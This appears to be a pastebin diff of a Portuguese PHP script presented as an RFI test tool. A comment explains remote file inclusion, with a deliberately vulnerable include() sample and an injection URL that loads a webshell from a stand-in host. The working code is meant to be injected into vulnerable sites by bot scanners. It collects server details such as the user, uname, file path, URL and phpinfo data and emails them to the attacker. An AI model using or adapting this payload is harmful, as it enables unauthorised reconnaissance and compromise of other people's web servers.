SHOW:
|
|
- or go back to the newest paste.
1 | <?php | |
2 | /* | |
3 | Script Teste RFI 1.0 Googleinurl - Brasil | |
4 | By: Cleiton Pinheiro. | |
5 | ||
6 | Blog.inurl.com.br | |
7 | GoogleINURL - Brasil pesquisa avançada. | |
8 | Grupo voltado a busca detalhada no motor de pesquisa google. Utilizando operadores especiais google O que é Google hacking? | |
9 | É uma pirataria de informática técnica que utiliza o | |
10 | Google Search e outras Google aplicativos para encontrar falhas de segurança | |
11 | na configuração e código de computador | |
12 | ||
13 | ||
14 | ///////////////////////////////////////////////////////////////////////////////////////////// | |
15 | RFI: | |
16 | Inclusão de arquivos remotos (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites. Ele permite que um atacante para incluir um arquivo remoto, geralmente através de um script no servidor web. A vulnerabilidade ocorre devido ao uso de entrada fornecido pelo usuário, sem a devida validação. Isto pode conduzir a algo tão mínima quanto a saída do conteúdo do ficheiro, mas, dependendo da gravidade, para uma lista de alguns, pode levar a: | |
17 | ||
18 | Execução de código no servidor web | |
19 | Execução de código no lado do cliente, tais como JavaScript, o que pode levar a outros ataques, tais como cross-site scripting (XSS). | |
20 | Negação de Serviço (DoS) | |
21 | O roubo de dados / Manipulação. | |
22 | ||
23 | Considere este script PHP (que inclui um arquivo especificado pelo pedido): | |
24 | Sem nem tipo de validação. | |
25 | exemplo code: | |
26 | <?php | |
27 | $color = 'blue'; | |
28 | if (isset( $_GET['COLOR'] ) ) | |
29 | $color = $_GET['COLOR']; | |
30 | include( $color . '.php' ); | |
31 | ?> | |
32 | <form method="get"> | |
33 | <select name="COLOR"> | |
34 | <option value="red">red</option> | |
35 | <option value="blue">blue</option> | |
36 | </select> | |
37 | <input type="submit"> | |
38 | </form> | |
39 | ||
40 | O programador destina apenas blue.php red.php e para ser usado como opcionais. Mas, como qualquer pessoa pode facilmente inserir valores arbitrários na cor, é possível injetar um código de arquivos: | |
41 | Nunca se dever setar uma variável Get sem filtrar seu conteúdo. | |
42 | ||
43 | /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - Injeta um arquivo hospedado remotamente contendo um código malicioso no caso uma shell. | |
44 | ||
45 | Referencia: http://en.wikipedia.org/wiki/Remote_file_inclusion | |
46 | ||
47 | ||
48 | Esse script pode ser usado em botscanner's. | |
49 | Alem os possiveis vulner's serão enviados para seu email,"Os que possuirem sendmail" | |
50 | O envio de informações é feito atraves da function mail(); | |
51 | ||
52 | Referencia: http://php.net/manual/pt_BR/function.mail.php | |
53 | ||
54 | ||
55 | ||
56 | ||
57 | ||
58 | ||
59 | */ | |
60 | ||
61 | ob_start(); | |
62 | phpinfo(); | |
63 | $phpinfo = array('phpinfo' => array()); | |
64 | if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER)){ | |
65 | foreach($matches as $match){ | |
66 | if(strlen($match[1])) | |
67 | $phpinfo[$match[1]] = array(); | |
68 | elseif(isset($match[3])) | |
69 | $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3]; | |
70 | else | |
71 | $phpinfo[end(array_keys($phpinfo))][] = $match[2]; | |
72 | } | |
73 | } | |
74 | ini_set("max_execution_time",-1); | |
75 | ||
76 | set_time_limit(0); | |
77 | ||
78 | $user = @get_current_user(); | |
79 | ||
80 | $uname = @php_uname(); | |
81 | ||
82 | $data = date('h-i-s, j-m-y, it is w Day z'); | |
83 | ||
84 | $safemode = @ini_get('safe_mode'); | |
85 | ||
86 | $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; | |
87 | ||
88 | $caminho = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - strlen(strrchr($_SERVER['SCRIPT_FILENAME'], "\\"))); | |
89 | ||
90 | if ($safemode == '') { | |
91 | $safemode = "OFF"; | |
92 | } | |
93 | else { $safemode = " $SafeMode "; | |
94 | } | |
95 | ||
96 | $dados ="<b>Nome: </b>{$uname}<br>"; | |
97 | $dados.="<b>Safe Mode:</b>{$phpinfo['PHP Core']['safe_mode'][0]}<br />"; | |
98 | $dados.="<b>URL: </b>{$url}<br>"; | |
99 | $dados.="<b>Data: </b>{$data}<br>"; | |
100 | $dados.="<b>Caminho: </b>{$caminho}<br>"; | |
101 | $dados.="<b>System: </b>{$phpinfo['phpinfo']['System']}<br />"; | |
102 | ||
103 | $assunto = "Vulner_inurl"; | |
104 | ||
105 | $email = "[email protected]"; | |
106 | ||
107 | $headers="From: <$email>\r\n"; | |
108 | - | $headers="MIME-Version: 1.0\r\n"; |
108 | + | $headers.="MIME-Version: 1.0\r\n"; |
109 | $headers.="Content-type: text/html; charset=iso-8859-1\r\n"; | |
110 | $headers.="X-Mailer: PHP/".phpversion()."\r\n"; | |
111 | ||
112 | if(mail($email,$assunto,$dados,$headers)){ | |
113 | echo $dados; | |
114 | echo "OK enviado~"; | |
115 | exit(); | |
116 | } | |
117 | else{ | |
118 | echo "Não foi."; | |
119 | exit(); | |
120 | } | |
121 | ?> |